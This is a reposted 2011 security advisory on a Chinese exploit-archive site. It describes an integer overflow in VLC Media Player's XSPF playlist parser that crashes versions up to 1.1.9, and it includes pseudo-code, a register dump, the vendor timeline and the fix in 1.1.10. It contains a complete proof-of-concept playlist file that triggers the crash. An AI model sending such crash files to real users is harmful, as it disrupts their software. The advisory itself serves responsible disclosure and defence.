首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
VLC Media Player XSPF Local File Integer overflow in XSPF playlist parser
来源:vfocus.net 作者:TecR0c 发布时间:2011-06-09  

TITLE

 VLC Media Player XSPF Local File Integer overflow in XSPF playlist parser

AFFECTED VERSIONS

 VLC media player 1.1.9 down to 0.8.5

VENDOR

 VideoLAN Organisation

CLASS

 Denial of Service (DoS)

RESOURCES

 http://www.videolan.org/security/sa1104.html


PRODUCT DESCRIPTION
 
 VLC is a free and open source cross-platform multimedia player and
 framework that plays most multimedia files as well as DVD, Audio CD,
 VCD, and various streaming protocols.

TECHNICAL DETAILS

 XSPF file is the XML format for sharing playlists.
 A sample of the XSPF document is as follows:

 <?xml version="1.0" encoding="UTF-8"?>
 <playlist version="1" xmlns="http://xspf.org/ns/0/">
     <trackList>
  <track><location>file:///crash/tecr0c.mp3</location></track>
     </trackList>
 </playlist>

 The VLC XSPF file uses a tag <vlc:id></vlc:id> in the component Demuxers: Playlist
 which accepts decimal values for the vlc:id. When entering a large value that is
 beyond the memory segment that is allocated for program data the program crashes.
 Setting <vlc:id> value to 1073741823,e.g. <vlc:id>1073741823</vlc:id>
 will results in a MEMORY ACCESS VIOLATION and the application crash.

 The vulnerable code in module libplaylist_plugin.dll looks like (pseudo C code example):

                do
                {
                  __counter += 8;
                  mem->dword0 = 0;
                  mem->dword4 = 0;
                  mem->dword8 = 0;
                  mem->dwordC = 0;
                  mem->dword10 = 0;
                  mem->dword14 = 0;
                  mem->dword18 = 0;
                  mem->dword1C = 0;
                  ++mem; <-- violation happens here when mem value is greater then memory segment
                }
                while ( __counter <= __controlled_value_edx );
              }
            };

 Once we hit an address that does not exist we will result in a Denial of Service condition.

 EAX 01A97FE8
 ECX 00003320
 EDX 3FFFFFFF <--------------- Value we control
 EBX 01A972F8
 ESP 02B6FBA8
 EBP 02B6FCC0
 ESI 00000007
 EDI 01A8B388
 EIP 7024FA5E libplayl.7024FA5E
 C 0  ES 0023 32bit 0(FFFFFFFF)
 P 0  CS 001B 32bit 0(FFFFFFFF)
 A 1  SS 0023 32bit 0(FFFFFFFF)
 Z 0  DS 0023 32bit 0(FFFFFFFF)
 S 0  FS 003B 32bit 7FFAF000(FFF)
 T 0  GS 0000 NULL
 D 0
 O 0  LastErr ERROR_SUCCESS (00000000)
 EFL 00010212 (NO,NB,NE,A,NS,PO,GE,G)
 ST0 empty +UNORM 6900 00AECAB0 00ADEB10
 ST1 empty +UNORM 000B 003F0428 694C2808
 ST2 empty -UNORM EB10 00AECAB0 00ADEB10
 ST3 empty 0.9999999999999573674
 ST4 empty 0.5000000000000000000
 ST5 empty 0.9999999999999573674
 ST6 empty 0.0
 ST7 empty 559.00000000000000000
                3 2 1 0      E S P U O Z D I
 FST 0020  Cond 0 0 0 0  Err 0 0 1 0 0 0 0 0  (GT)
 FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

 
 End of block:
 01A97FE8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
 01A97FF8  00 00 00 00 00 00 00 00                          ........

PROOF OF CONCEPT (PoC)

 <?xml version="1.0" encoding="UTF-8"?>
 <playlist version="1" xmlns="http://xspf.org/ns/0/" xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/">
  <title>Playlist</title>
  <trackList>
   <track>
    <location>file:///C:/Users/tecr0c/Desktop/tecr0c-win.mp3</location>
    <duration>992</duration>
    <extension application="http://www.videolan.org/vlc/playlist/0">
     <vlc:id>1073741823</vlc:id>
    </extension>
   </track>
  </trackList>
  <extension application="http://www.videolan.org/vlc/playlist/0">
    <vlc:item tid="0" />
  </extension>
 </playlist>

FIX

 VLC Media Player 1.1.10

TIMELINE

 03062011 Contacted vendor with PoC
 05062011 Bug fixed by vendor
 08062011 Patch release to public in 1.1.10


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Cisco AnyConnect VPN Client Ac
·Linux/x86-32 - ConnectBack wit
·ActFax Server FTP Remote BOF (
·FreeBSD/x86 SmallBind TCP on p
·phpcms v2.4 SQL injection expl
·7-Technologies IGSS 9 IGSSdata
·GoldenFTP PASS Stack Buffer Ov
·FreeBSD/x86 Execve ('/bin/sh')
·Kleophatra v0.1.5 'TinyBrowser
·Pacer Edition CMS 2.1 Arbitrar
·CoolPlayer Portable 2.19.2 (.m
·IBM Tivoli Endpoint Manager PO
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved